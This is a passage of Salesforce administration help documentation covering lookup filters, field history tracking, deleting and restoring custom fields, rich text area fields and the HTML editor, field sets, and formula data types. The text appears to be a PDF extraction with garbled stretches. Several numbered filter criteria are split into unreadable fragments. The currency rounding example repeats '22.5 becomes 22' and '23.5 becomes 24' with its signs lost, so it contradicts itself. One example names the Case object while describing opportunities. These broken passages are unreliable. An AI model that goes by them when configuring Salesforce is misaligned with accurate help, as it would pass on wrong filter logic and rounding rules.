For example, the following lookup filter on the Case object Account Name field restricts users with a Domestic Sales profile
to only creating or editing opportunities associated with accounts that have a billing country of USA while allowing other
users to associate opportunities with any account:
Filter Criteria
1. Current User Profile: Name equals value Domestic Sales
2. Account Name: Billing Country equals value USA
3. Current User Profile: Name not equal to value Domestic Sales
Filter Logic
(1 AND 2) OR 3

Custom Error Message


Account does not exist or the account billing country is not USA. Domestic sales
reps can only create opportunities for accounts in the United States.
Lookup Window Text
Search results show only United States accounts in the for domestic sales
representatives.
You can modify the above example to simultaneously restrict users with a Global Sales custom profile to only associating
opportunities to accounts with a non-US billing country:
Filter Criteria
1.
2.
3.
4.
5.

Current
Account
Current
Account
Current

User Profile:
Name: Billing
User Profile:
Name: Billing
User Profile:

Name equals value Global Sales


Country not equal to value USA
Name equals value Domestic Sales
Country equals value USA
Name not equal to value Global Sales, Domestic Sales

1096

Customize

About Custom Fields

Filter Logic
(1 AND 2) OR (3 AND 4) OR 5

Custom Error Message


Account does not exist or the account billing country is not in your sales area.
Sales reps can only create opportunities for accounts in their sales area.
Lookup Window Text
Search results only display accounts in your region.
Important: If you do not include line 5 in the filter criteria, users who are not in Global Sales or Domestic Sales
cannot select or save any values on account records.

Roles in Lookup Filters


When a business rule does not apply to users in every role, use the Current User Role global variable fields to define
lookup filters that only affect users with particular roles. For example, in a recruiting application that has a Position object
with a lookup field to a Compensation Package object, you can restrict users from editing or creating positions that have an
executive compensation plan unless they are executive administrators or vice presidents. To do this, define the following lookup
filter on the Position object Compensation Package Name field:
Filter Criteria
1.
2.
3.
4.
5.

Current User
Current User
Compensation
Current User
Current User

Role: Name does not start with value VP


Role: Name does not equal value Executive Administrator
Package: Plan Type does not equal value Executive
Role: Name starts with value VP
Role: Name equals value Executive Administrator

Filter Logic
((1 OR 2) AND 3) OR (4 OR 5)

Custom Error Message


The compensation plan does not exist, or you have selected an executive compensation
plan but do not have access to create executive positions.
Lookup Window Text
Search results only display compensation plans that are relevant to positions you
are allowed to create.
Important: Include the condition you are testing and the opposite condition. In this example, lines 1, 2, and 3 of
the filter criteria ensure that users who are not VPs or Executive Administrators cannot select Executive compensation
plans, while lines 4 and 5 ensure that VPs and Executive Administrators can select Executive compensation plans.
Blank Values in Lookup Filters
Your lookup filter criteria might reference a field that users often leave blank. You can design your lookup filter criteria to
accept blank values by using the Add Filter Logic in the filter criteria to create an OR condition. For example, if you have a
Partner Contact custom field on opportunities, restrict the field to only allow contacts that are associated to an account
with a Partner Account record type, or private contacts not associated with any account.

1097

Customize

About Custom Fields

Filter Criteria
1. Partner Contact: Account: Account Record Type equals value Partner Account
2. Partner Contact: Account: Account Name equals value
Filter Logic
1 OR 2

Custom Error Message


The partner contact must be associated with a partner account, or must be a private
contact.
Lookup Window Text
Search results only display contacts from partner accounts or your private contacts.
User IDs in Lookup Filters
Using user IDs in optional lookup filters can significantly improve user efficiency by first showing lookup search dialog results
that are most relevant to the user while still allowing users to see all results if necessary. For example, on a lookup field to
accounts, you can create an optional lookup filter that restricts the search results to accounts that the user owns in the search
lookup dialog results. If the user is looking for an account that someone else owns, the user can remove the filter.
Filter Criteria
Current User: User ID equals Field Account: Owner ID

Lookup Window Text


By default, search results only display accounts you own. To search all accounts,
click Show all results.
Simple Dependent Lookups
If the value of a relationship field should depend on the value of another relationship field on the current record, specify the
field to field comparison in the criteria. For example, if the case Contact Name field should only have contacts associated
to the account specified in the case Account Name field, use the following lookup filter:
Filter Criteria
Contact Name: Account ID equals field Case: Account ID

Custom Error Message


Contact does not exist or is not associated to the case account.
Lookup Window Text
Search results only display contacts associated to the case account.
Note: When comparing lookup fields in lookup filter criteria, Salesforce always uses the ID of the relationship field,
not the name.

Complex Lookup Filters and Dependent Lookups


Achieving complex business rules with lookup filters often involves combing your rules with filter logic and fields of various
types. For example, consider an app for booking conference rooms that has the following data model:

1098

Customize

About Custom Fields

Object

Fields

Meeting

Meeting Name
Office lookup to the Office object
Projector Required checkbox
Number of Participants number field
Conference Room lookup to the Conference Room

object
Conference Room

Conference Room Name


Has Projector checkbox
Number of Seats Available number field
Conference Room Location lookup to the Office

object
Office

Office Name

The following lookup filter on the meeting Conference Room field restricts the valid values to conference rooms that have
a projector if the meeting requires one, as well as the necessary number of seats:
Filter Criteria
1. Meeting: Projector Required equals field Meeting Conference Room: Has Projector
2. Meeting: Projector Required equals value False
3. Conference Room: Number of Seats Available greater or equal field Meeting: Number
of Participants

Filter Logic
(1 OR 2) AND 3

Custom Error Message


Conference room not found or is insufficient for your meeting.
Lookup Window Text
Search results only display conference rooms that can support your meeting
requirements.
To refine the valid values even further, incorporate the office where the conference room is located:
Filter Criteria
1. Meeting: Projector Required equals field Meeting Conference Room: Has Projector
2. Meeting: Projector Required equals value False
3. Conference Room: Number of Seats Available greater than field Meeting: Number of
Participants
4. Meeting: Office equals Field Conference Room: Conference Room Location

Filter Logic
(1 OR 2) AND 3 AND 4

1099

Customize

About Custom Fields

Custom Error Message


Conference room not found or is insufficient for your meeting.
Lookup Window Text
Search results only display conference rooms that can support your meeting
requirements.

See Also:
About Lookup Filters
Notes on Lookup Filters
About Dependent Lookups
Defining Lookup Filters
Editing Fields
Tip sheet: Creating Lookup Filters on Relationship Fields

Tracking Field History


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Standard Objects are not available in Database.com

User Permissions Needed


To set up which fields are tracked:

Customize Application

You can select certain standard and custom fields to track the history of related list of accounts, cases, contacts, contracts,
leads, opportunities, solutions, and custom objects. Modifying any of these fields adds a new entry to the History related list.
All entries include the date, time, nature of the change, and who made the change. History data does not count against your
organizations storage limit. Note that not all field types are available for history tracking.
For more information on tracking field history, see the following:

Tracking Field History for Standard Objects


Tracking Field History for Custom Objects
History Tracking Implementation Tips

Tracking Field History for Standard Objects


You can track field history for:

Accounts
Cases
Contacts
Entitlements
Service contracts

1100

Customize

About Custom Fields

Contract line items


Contracts
Leads
Opportunities
Solutions

To set up field history tracking:


1. Click Your Name > Setup > Customize and select the object you want to configure.
2. Click Fields.
3. Click Set History Tracking.

For accounts, contacts, leads, and opportunities, select the Enable Account History, Enable Contact History,
Enable Lead History, or Enable Opportunity Field History checkbox. Deselect the checkbox if you do
not want to track any changes. If you deselect the checkbox, the History related list is automatically removed from
associated page layouts.
This checkbox is not available for cases, solutions, or contracts because you cannot disable their history tracking. Certain
changes, such as case escalation, are always tracked.

When you choose the fields you want to track, Salesforce begins tracking history from that date and time forward.
Changes made before that date and time are not included. Note that some case, solution, and contract fields are
preselected for history tracking, so changes to those fields are automatically tracked from the time your organization
began using Salesforce.

4. Choose the fields you want tracked.


5. Click Save.
Tracking Field History for Custom Objects
To track field history for custom objects:
1. Click Your Name > Setup > Create > Objects and click Edit next to the name of the custom object.
2. Select the Track Field History checkbox. Deselect the checkbox if you do not want to track any changes. If you
deselect the checkbox, the History related list is automatically removed from the custom object's page layouts.
3. Click Save.
4. Select the name of the custom object.
5. Click Set History Tracking in the Custom Fields & Relationships section. This section allows you to set a custom object's
history tracking for both standard and custom fields.
When you choose the fields you want to track, Salesforce begins tracking history from that date and time forward. Changes
made before that date and time are not included.
If you deselected the Track Field History checkbox, the Set History Tracking button does not display.
6. Choose the fields you want tracked.
7. Click Save.
History Tracking Implementation Tips
Administration

You can select a combination of up to 20 standard and custom fields per object.
You cannot track the following fields:
History of formula, roll-up summary, or auto-number

1101

Customize

About Custom Fields

Created By and Last Modified By


Expected Revenue field on opportunities
Master Solution Title or the Master Solution Details fields on solutions; these fields display only for
translated solutions in organizations with multilingual solutions enabled

Field history is stored for 18 months.


To archive field history, you can:
Schedule a regular export of FieldHistory data
Export to a CSV file using object-specific field history reports
Run a query using the Web services API and save your results

If you use both business accounts and person accounts, review the following before enabling account field history tracking:

Field history tracking for accounts affects both business accounts and person accounts.
A maximum of 20 account fields can be tracked. This limit includes fields on person accounts and business accounts.
Enabling field history tracking on person accounts does not enable field history tracking on personal contacts.
To report on person account history, run the Account History report.

You can report on activated contracts whose fields are tracked by clicking New Custom Report on the Reports tab, selecting
Contract Reports as the data type, and choosing Contract History.
If you disable field history tracking on an object, you can still report on its history data up to the date and time you disabled
tracking.
You cannot disable field history tracking for an object if a field on the object is referenced in Apex. For more information,
see Apex Code Overview on page 1994.
If the parent record in a lookup relationship is deleted, the field history tracking for the child record does not record the
deletion. For example, if a parent account is deleted, the Account History related list for the child account does not show
the deletion.

Customization

When you enable history tracking for an object, be sure to customize your page layouts to include the object's history related
list. For more information, see Customizing Page Layouts on page 1278.
You cannot customize which opportunity fields are tracked in the opportunities' Stage History related list; however, you
can choose which opportunity fields are tracked in the Opportunity Field History related list.
You cannot customize the History related list because it does not store data. The History related list links to data stored
elsewhere.
When you delete a custom field, all of the field history data is deleted and changes are no longer tracked.
If you disable field history tracking on a custom object, then you cannot report on its field history.

Management

Changes to fields with more than 255 characters are tracked as edited, and their old and new values are not recorded. For
example, changes to long text area fields are tracked as edited.
Tracked field values are not automatically translated; they display in the language in which they were made. For example,
if a field value is changed from Green to Verde, Verde is displayed no matter what a user's language is, unless the field
value has been translated into other languages via the Translation Workbench. This also applies to record types and picklist
values.
Changes to date fields, number fields, and standard field labels are shown in the locale of the user viewing the History
related list. For example, a date change to August 8, 2005 shows as 8/5/2005 for a user with the English (United States)
locale and as 5/8/2005 for a user with the English (United Kingdom) locale.
Changes to custom field labels that have been translated via the Translation Workbench are shown in the locale of the
user viewing the History related list. For example, if a custom field label is Red and translated into Spanish as Rojo, then

1102

Customize

About Custom Fields

a user with a Spanish locale will see the custom field label as Rojo. Otherwise, the user will see the custom field label as
Red.
Changes to the Amount and Quantity fields on opportunities are tracked even when the field is updated as the result of
a change to an opportunity's products or schedules.
Changes to the Closed When Created field on cases are only tracked when the field is updated via the Force.com API.
Field updates are tracked in the History related list if you have set history tracking on those fields.

See Also:
Case History
Solution History
Contract History
About Custom Fields
Deleting Fields

Viewing Fields
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Standard Fields are not available in Database.com

To view the details for a custom or standard field:


1. For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu,
and click Fields.
2. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
3. For custom settings, click Your Name > Setup > Develop > Custom Settings, and click the name of the custom setting.
4. Click the name of the field.
5. From the field detail page, you can:

Click Edit to modify a custom field or change the custom field's data type. See Changing Custom Field Type on page
1250.
Click Set Field-Level Security to set users' access to the field. Available in Enterprise, Unlimited, and Developer
Edition organizations only.
Click View Field Accessibility to view who can access the field based on permissions and record type. Available in
Enterprise, Unlimited, and Developer Edition organizations only.
If the field is a dependent picklist, view a list of the controlling fields on which it depends. Click New to define a
dependent picklist. Click Edit to change the picklist dependency rules or Del to remove the picklist dependency. For
information on dependent picklists, see Defining Dependent Picklists on page 1066.
If the custom field is a dependent picklist, click [Change] next to the controlling field to edit the picklist dependency
rules. For information on dependent picklists, see Defining Dependent Picklists on page 1066.
Click New in the Validation Rules related list to create a new validation rule for the field. Click Edit to change a
validation rule or Del to remove it. See Defining Validation Rules on page 1161.
For picklist fields, you can add new values and edit, replace, or delete existing values. See Additional Options for
Updating Picklists on page 1061.

1103

Customize

About Custom Fields

To change External ID, Required, or other attributes under the General Options section, see Custom Field
Attributes on page 1081.

Click Undelete to restore the field and its data. This is only available if the field has been deleted but not permanently
erased. The field's behavior may be different after restoring it. To restore the field completely, see Managing Deleted
Custom Fields on page 1105.
Note: If your organization uses person accounts, the Account Fields page lists both person account and business
account fields.
Person accounts use a combination of account and contact fields. The following contact fields are available for person
accounts:

Fields in the Account Standard Fields list that display with a person account icon.
Fields in the Contact Custom Fields & Relationships list.

These contact fields are not available for business accounts. To customize these fields, go to Your Name > Setup >
Customize > Contacts > Fields.
For more information, see What is a Person Account? on page 68.

See Also:
Customizing Fields
Custom Settings Overview

Deleting Fields
Available in: All Editions

User Permissions Needed


To delete custom fields:

Customize Application

To delete a custom field:


1. For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu,
and click Fields.
2. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
3. Click Del next to the name of the field.
4. When prompted, select the Yes, I want to delete the custom field checkbox to confirm, and click Delete.
Deleted custom fields and their data are stored until your organization permanently deletes them or 15 days has elapsed,
whichever happens first. Until that time, you can restore the field and its data. For information on restoring deleted custom
fields and relationships, see Managing Deleted Custom Fields on page 1105.

1104

Customize

About Custom Fields

Note:

Before deleting a custom field, consider where it is referenced. You cant delete a custom field that is referenced
elsewhere. For example, you cannot delete a custom field that is referenced by a field update or Apex.
When you delete a custom field, all of the field history data is deleted and changes are no longer tracked.
A background process periodically runs that cleans up metadata associated with deleted custom fields. This process
will affect the Last Modified Date and Last Modified By fields on page layouts, record types, and custom
objects.

See Also:
Tracking Field History

Managing Deleted Custom Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Page Layouts and Lead Fields are not available in Database.com

User Permissions Needed


To restore deleted custom fields and relationships:

Customize Application

To permanently delete custom fields or relationships:

Customize Application

Deleted custom fields and their data are stored until your organization permanently deletes them or 15 days has elapsed,
whichever happens first. Until that time, you can restore the field and its data. However, the field still counts against the
maximum number of custom fields allowed in your organization. To view a list of the maximum number of custom fields and
relationships allowed in your organization, see Salesforce Editions and Limits on page 2076.
To view a list of your deleted custom fields and relationships:
1. For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu,
and click Fields.
2. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
3. Click Deleted Fields at the bottom of the list of custom fields and relationships. The number in parentheses indicates the
total number of deleted custom fields for this object. This link only displays when you have a deleted custom field.
4. Use the list of deleted fields to perform the following actions:

To view details about a field, click the field label.


To permanently remove the custom field and its data, click Erase.
To restore the field and its data, click Undelete. Some attributes of deleted fields are not restored automatically. To
restore these attributes manually:
a. Add the field to any page layouts that changed during the time the custom field was deleted. If reports and page
layouts were not edited, the restored field remains on them.

1105

Customize

About Custom Fields

b. Make the field unique if necessary. Salesforce automatically removes the unique attribute from any deleted custom
field.
c. Make the field required if necessary. Salesforce automatically removes the required attribute for any deleted custom
field.
d. Add the custom field to any appropriate Force.com AppExchange packages. Salesforce automatically removes
deleted custom fields from packages that contain them.
e. Convert any lookup relationships to master-detail relationships if necessary. Salesforce converts all relationships to
lookup relationships when they are deleted. To convert a lookup relationship to a master-detail relationship, populate
all the applicable records with the appropriate data.
f. Redefine any field dependencies that Salesforce removed when the field was deleted.
g. Edit and save any formula fields, prompting a syntax check that you may have to resolve.
h. Set up field history tracking if necessary. If the list of fields enabled for history tracking has been modified during
the time the custom field was deleted, the restored field is no longer set up to track field history.

Notes on Restored Custom Fields

The following characters are appended to the end of a custom field's developer name when it is deleted unless a deleted
field already has that developer name: _del. These characters remain when you restore the custom field.
Formula fields are restored in a disabled state, which means they do not contain updated data until you edit and save them.
While a formula field is disabled, #Error! displays in place of the formula value.
Restored fields do not display in search results immediately after you restore them. It may take a short time before the
restored custom field and its data are available in search results.
Lead fields that are mapped to account, contact, or opportunity fields for lead conversion are still mapped accordingly
when restored.
Auto number fields continue to increment after they are deleted and contain the correct values when restored.
Field history data for the deleted custom field is restored.

Additional Custom Field Options


Changing Page Layouts
To change the location of a new custom field, edit the page layout for the appropriate tab. See Managing Page Layouts
on page 1276.
Using Record Types
If your organization uses record types, edit the record type to modify which picklist values are visible for the record type.
See Managing Record Types on page 1268.
Tracking Custom Field History
You can select which custom fields to track on the History-related list of cases, solutions, and contracts. All entries
include the date, time, nature of the change, and who made the change. History data does not count against your
organizations storage limit. See Tracking Field History on page 1100.
Using the Translation Workbench
If your organization uses the Translation Workbench, notify your translators that new fields need translations. For more
information, see Setting Up the Translation Workbench on page 487.

1106

Customize

About Custom Fields

Activity Custom Fields


Activity custom fields can apply only to tasks or only to events, or to both tasks and events. For example, you can create
one Time Spent field and then add it to both the event page layout and the task page layout.
Mapping Custom Lead Fields
For lead custom fields, you can click Map Lead Fields to specify which custom lead fields to map to custom account,
contact, and opportunity fields during a lead conversion. See Mapping Custom Lead Fields on page 1339.

See Also:
Changing Custom Field Type

Using Rich Text Area Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To create or change custom fields:

"Customize Application"

To improve the appearance of text, including adding images and hyperlinks, create rich text area custom fields. Rich text area
fields use the Salesforce HTML editor to format content.
Implementation Tips
Before creating rich text area custom fields, note the following:

Salesforce supports up to 32,768 characters for each rich text area field, including the HTML tags. If desired, you can set
a lower limit.
When you view or print content, Salesforce preserves the formatted version of the HTML in rich text area fields.
Searches of content that contains rich text area fields ignore images and tags.
Deleting a rich text area field moves it to the Deleted Fields section on the custom object or Salesforce Knowledge article
types.
There are no limits to the number of rich text area and long text area fields that an object can contain, although your
Edition's limit for the total number of custom fields allowed on an object, regardless of field type, applies. Each object can
contain a total of 1.6 million characters across long text area and rich text area fields. The default character limit for long
text area and rich text area fields is 32,768 characters. A long text area or rich text area field needs to contain at least 256
characters.
Maximum size for uploaded images is 1 MB. Only .gif, .jpg and .png file types are supported.
You can only convert rich text area fields into long text area fields. Any images are deleted the next time the long text area
field is saved. After converting, markup is hidden in the long text area field but it is not removed from the record until you
save the record. That way, the markup can be restored if you change your mind.
You can't add a hyperlink to an image.
There is no support for disabling specific rich text area features. For example, you can't disable support for hyperlinks or
images on certain fields.
HTML code is not supported in the Salesforce HTML editor. HTML code is treated as text.

1107

Customize

About Custom Fields

JavaScript or CSS is treated as text. For example, if you're creating an Idea through the API, any JavaScript or CSS code
is removed without warning.
If you're creating an Idea through the API, some tags and attributes are filtered without warning. Salesforce supports a
limited number of approved HTML tags.
Rich text area fields can be filtered and summarized in reports, but the HTML tags are included as text.
Only the first 254 characters in a rich text area or a long text area are displayed in a report. If you download the report, the
entire field is available.
When a rich text area field is used in a formula, the HTML tags are stripped out before the formula is run. For example,
when a rich text area field is used in a validation rule's criteria, the HTML tags are removed before the evaluation.
Rich text area fields aren't available in self service portals. They are available in partner portals and customer portals.
Images uploaded within a rich text area field are extracted in the organization's weekly export and included in the exported
data.
The mobile application treats the rich text area field like a long-text area field, which doesn't support formatted HTML
content and images. The mobile application truncates the field at 1,000 characters, and the 1,000 character limit includes
HTML markup. Administrators should consider removing rich text area fields from mobile page layouts. If a mobile user
edits a rich text area field containing an existing text entry over 1,000 characters, the mobile application will truncate the
text in the field.
The text part of rich text area fields counts towards data storage for the entity that contains the field. The uploaded images
within the rich text area fields are counted towards file storage for the entity that contains the field.
The rich text area field is available in the API.

Best Practices

You can specify how big the editor box should be for this field by configuring the Number of lines displayed property in
the fields setup.
We recommend using the rich text area field in a one column page layout; the field's formatting toolbar is ideal for a single
column.
To upload many images, use the API version 20 or later. For more information, see Configuring the Data Loader to Use
the Bulk API and the Force.com SOAP API Developer's Guide.
Note: When uploading images with the API, the alt attribute is not populated unless specified separately.

See Also:
Creating Custom Fields
Adding Custom Fields to Article Types

1108

Customize

About Custom Fields

Using the HTML Editor


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change custom fields:

"Customize Application"

To improve the appearance of text in custom fields, use the Salesforce HTML editor to format custom fields that were defined
with the rich text area custom field type. The Salesforce HTML editor provides a WYSIWYG interface, allowing you to
perform basic formatting operations. You can:

Format text as bold, italicized, or underlined


Create bulleted and numbered lists
Change paragraph indentation
Insert hyperlinks to Web pages
Insert an image

Common scenarios include:

Formatting resumes submitted by job candidates to create more readable and professional-looking versions for your users
Emphasizing key points in a Description or Comments field by setting various font options, such as bold typeface and a
larger font size
Itemizing steps in a numbered or bulleted list to help users better understand a procedure
Supporting your company's brand identity by specifying the URL of a logo on your website
Including a link to a related and accessible page of your company's website

Notes on Using the Salesforce HTML Editor


When you use the editor, note the following:

Because the Salesforce HTML editor provides a WYSIWYG interface only, you do not edit HTML tags.
If you copy content from a Web page and paste it into the editor's window, Salesforce automatically removes unsupported
tags and may preserve the text that was enclosed in unsupported tags as plain text. Note that Salesforce does not notify
users when it removes unsupported or potentially malicious HTML.
The maximum number of characters you can enter in the Salesforce HTML editor window is equal to the field length
specified when creating or editing the field. The default is 32,768 characters.
When clicked, hyperlinks open in a new browser window. The Salesforce HTML editor supports HTTP, HTTPS, and
mailto hyperlinks.
When a record is saved, the Salesforce HTML editor does not validate hyperlinks to Web pages. Be sure to confirm that
you are specifying a URL that Salesforce can access.
To insert an image, click

and either select:

Web Address tab and enter the URL of the image.


Upload Image tab and select an image from your localhost. You can only upload JPEG, PNG or GIF. The image you
select cannot exceed 1 Megabyte. You can't add a hyperlink to an image.

1109

Customize

About Custom Fields

Optionally, enter a description that appears when a user hovers over the image. The image must have a URL that Salesforce
can access.
The Salesforce HTML editor supports all languages that Salesforce Knowledge supports.
The Salesforce HTML editor does not support JavaScript or Cascading Style Sheets (CSS).
The Salesforce HTML editor is disabled for users who have accessibility mode enabled; it's replaced with a text box. This
text box only accepts HTML and does not recognize plain text entries like carriage returns. To separate content, you must
use paragraph or line break HTML tags.
Note:
When Salesforce Knowledge is enabled, the HTML Editor includes extra features such as the ability to embed
multimedia content, use drop-down lists, or select colors for text or backgrounds. Make sure that your browser security
settings allow you to access these features. Some browser security settings can block these features. For example, if
browser security is set to high in Internet Explorer 7, <iframe> content does not appear in the frame, drop-down
lists are unavailable, and color cannot be selected for backgrounds or text.

Supported HTML Tags and Attributes


The Salesforce HTML editor supports the tags listed in the following table.
<a>

<dt>

<q>

<abbr>

<em>

<samp>

<acronym>

<font>

<small>

<address>

<h1>

<span>

<b>

<h2>

<strike>

<bdo>

<h3>

<strong>

<big>

<h4>

<sub>

<blockquote>

<h5>

<sup>

<br>

<h6>

<table>

<caption>

<hr>

<tbody>

<cite>

<i>

<td>

<code>

<img>

<tfoot>

<col>

<ins>

<th>

<colgroup>

<kbd>

<thead>

<dd>

<li>

<tr>

<del>

<ol>

<tt>

<dfn>

<p>

<ul>

<div>

<pre>

<var>

<dl>

1110

Customize

About Field Sets

Note: When enabled from the Knowledge Settings page, users can cut and paste <iframe> HTML elements to
embed multimedia content in articles using one of two methods:

Click

to paste the <iframe> element directly into the HTML code.

Click
to paste the <iframe> element into a text box on the Embed Multimedia Content dialog box. The
frame and its contents are added to the article.

Users can paste <iframe> HTML code that is copied from the following sites: Dailymotion, Vimeo, or YouTube.
Make sure that your browser security settings allow you to embed multimedia content. Some browser security settings
can block <iframe> elements. For example, if browser security is set to high in Internet Explorer 7, <iframe> content
does not appear in the frame.
The tags can include the following attributes:
alt

face

size

background

height

src

border

href

style

class

name

target

colspan

rowspan

width

The attributes can include URLs that begin with the following:

http:
https:
file:
ftp:
mailto:
#
/ for relative links

See Also:
Using Rich Text Area Fields
Enabling Accessibility Mode

About Field Sets


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

Note: This release contains a beta version of field sets that is production-quality but has known limitations.

A field set is a grouping of fields. For example, you could have a field set that contains fields describing a user's first name,
middle name, last name, and business title. When a field set is added to a Visualforce page, developers can loop over its fields

1111

Customize

About Field Sets

and render them. If the page is added to a managed package, administrators can add, remove, or reorder fields in a field set
to modify the fields presented on the Visualforce page without modifying any code. The same Visualforce page can present
different sets of information, depending on which fields a subscriber prefers to keep.
As an administrator, you can create or edit field sets for your organization, or edit any installed field set. Field sets are available
on all standard objects that support custom fields, and any organization that supports creating Visualforce pages.
Fields added to a field set can be in one of two categories:

If a field is marked as Available for the Field Set, it exists in the field set, but the developer hasnt presented it
on the packaged Visualforce page. Administrators can display the field after the field set is deployed by moving it from the
Available column to the In the Field Set column.
If a field is marked as In the Field Set, the developer has rendered the field on the packaged Visualforce page by
default. Administrators can remove the field from the page after the field set is deployed by removing it from the In the
Field Set column.

When you install a field set from a package, the fields in your field set may be modified from a later package upgrade. The
following table lists the impact on your field set after a package upgrade:
If a package developer...

...Then In the Package Upgrade...

Changes a field from Unavailable to Available for the


Field Set or In the Field Set

The modified field is placed at the end of the upgraded field


set in whichever column it was added to.

Adds a new field

The new field is placed at the end of the upgraded field set in
whichever column it was added to.

Changes a field from Available for the Field Set or In the


Field Set to Unavailable

The field is removed from the upgraded field set.

Changes a field from In the Field Set to Available for the


Field Set (or vice versa)

The change is not reflected in the upgraded field set.

Note: Merging has the potential to remove fields in your field set.

See Also:
Creating and Editing Field Sets
Field Sets Required Bit
Creating Custom Fields
Developer's Guide: Visualforce Developer's Guide
Implementation guide: Force.com Quick Reference for Developing Packages.

1112

Customize

About Field Sets

Creating and Editing Field Sets


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Note: This release contains a beta version of field sets that is production-quality but has known limitations.

Salesforce has a drag-and-drop WYSIWYG tool for creating and editing field sets The enhanced field sets editor is enabled
by default, and provides all of the functionality of the original editor, as well as additional functionality and an easier-to-use
WYSIWYG interface.
To create a new field set:
1. Navigate to the field set list of the appropriate object:

For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu,
and click Field Sets.
For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
Then click New above the field sets related list.

2. Enter a Field Set Label. This is the name presented to subscribers who install the field through a managed package.
3. Enter a Field Set Name for your field set. This is used by your Visualforce page to reference the field set.
4. In the Where is this used? area, provide a brief description of which Visualforce pages use the field set, and for what
purpose. This information helps a subscriber understand where and how an installed field set is being used, so that they
can populate it with their own fields.
5. Click Save.
6. To add fields to the field set, drag the fields from the object palette and drop them into the Available for the Field
Set or the In the Field Set container. The fields in the Available for the Field Set container are not
initially visible on the Visualforce page. The fields within the In the Field Set container are visible by default on a
Visualforce page.
Note: In the field set, you can span to fields that reference multiple objects. When you span a field into a field set
that references multiple objects, the only field you can span to is the Name object.
To move a field between the lists, drag and drop a field from one container to the other. The vertical order of the In the
Field Set list indicates the order of how the fields render on Visualforce pages.
7. To remove a field from the field set, drag the element back to the object palette, or click the
8. To make a field required, double click the element or click the wrench icon (
checkbox.
Note:

icon next to the element.

) next to it and select the Required

Indicates the field is required and must have a value to save the record.

9. Click Save.

1113

Customize

About Formulas

Important: The total number of cross object spans within the In the Field Set container can't exceed 25.

After a field set is deployed in your organization, you can always mark fields that are in the Available for the Field
Set list as In the Field Set, or vice versa. To do so:
1. Find the field set that you want to edit by going to Your Name > Setup > Installed Packages, clicking on an installed
package, and then clicking on the field set you want to edit. Alternatively, if you know which object contains the field set
you want to edit, go to the object detail page and click Edit in the field set related list.
2. If you didn't create the field set initially, you'll only be able to edit the fields within the field set. To move fields between
containers, drag and drop a field from one container to the other. To change the order of a rendered field, drag a field up
or down the list and drop the field in the order you want it to appear.
3. Click Save.

Field Sets Required Bit


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

Note: This release contains a beta version of field sets that is production-quality but has known limitations.

You can define a field as required when you create or edit field sets. You may want to define a field as required to ensure a
user enters the necessary information on a field. The required field is only available in the In the Field Set container. If
you define a field as required in the In the Field Set container, and remove the field from the In the Field Set,
the required attribute is removed.
To define a field as required in a field set, see Creating and Editing Field Sets on page 1113

See Also:
About Field Sets
Creating and Editing Field Sets

About Formulas
Available in: All Editions
Reports and Approvals are not available in Database.com

A formula is an algorithm that derives its value from other fields, expressions, or values. Formulas can help you automatically
calculate the value of a field based on other fields. Use formulas for:

Custom Fields

1114

Customize

About Formulas

Create custom formula fields that automatically calculate a value based on other values, merge fields, or expressions. Users
can view formula fields on record detail pages but cannot see the underlying algorithm nor can they edit the value of a
formula field. To create a custom formula field, see Building Formulas on page 1147.

Default Field Values


Apply a value to a custom field when a user creates a record. Use formulas to define a default value such as TODAY() +
7. See About Default Field Values on page 1156.

Data Validations
Verify that the data a user enters in a record meets the standards you specify before the user can save the record. A validation
rule can include a formula such as CloseDate >= TODAY(). See About Validation Rules on page 1160.

Reports
Create custom summary formulas in your reports to calculate additional totals based on the existing summaries in that
report. To begin creating a custom summary formula, see Building Custom Summary Formulas on page 2951.

Workflow Field Updates


Define field updates to automatically calculate the new value of a field based on a formula. The formula can include other
values, merge fields, or expressions. Then set your workflow rules or approval processes to use these field updates. To define
field updates, see Defining Field Updates on page 1797.

Workflow Rules
Define the criteria a record must meet to trigger a workflow rule. See Creating Workflow Rules on page 1778.

Approval Processes
Define the criteria a record must meet to enter the approval process. See Creating Approval Processes on page 1838.

Approval Steps
Define the criteria a record must meet to enter the approval step. See Creating Approval Steps on page 1845.

Escalation Rules
Define the conditions that a case must match to be escalated. See Setting Up Escalation Rules on page 1309.

Assignment Rules
Define the conditions that the lead or case must match for it to be assigned. See Setting Up Assignment Rules on page
1306.

S-Controls
Define the content for s-controls. See Defining Custom S-Controls on page 2124.

Custom Buttons and Links


Define the content for custom links and buttons. See Defining Custom Buttons and Links on page 1254.

Visualforce Pages
Define the content for Visualforce pages. See Defining Visualforce Pages on page 2103.

Before building a formula, review the following attributes of a formula:

Formula Data Types


Elements of a Formula

For common uses of formulas, see Formulas: How Do I... on page 1119.

1115

Customize

About Formulas

Note: Custom formula fields are not available in Connect Offline, Web-to-Lead forms, or Web-to-Case forms.

See Also:
Using Formulas in Salesforce

Formula Data Types


The data type of a formula determines the type of data you expect returned from your formula. Review the following data
types.
Data Type

Description

Currency

Returns a number in currency format of up to 18 digits with


a currency sign.
Note: Salesforce uses the round half even tie-breaking
rule for currency fields. For example, 23.5 becomes
24, 22.5 becomes 22, 22.5 becomes 22, and 23.5
becomes 24.

Date

Returns data that represents a day on the calendar. The current


date can be acquired by calling the built-in function TODAY()
in a formula. This data type is not available for custom
summary formulas in reports.

Date/time

Returns data that represents a moment in time. A date/time


field includes the date and also the time of day including hour,
minutes, and seconds. You can insert the current date and
time in a formula using the NOW() function. This data type
is not available for custom summary formulas in reports.

Number

Returns a positive or negative integer or decimal of up to 18


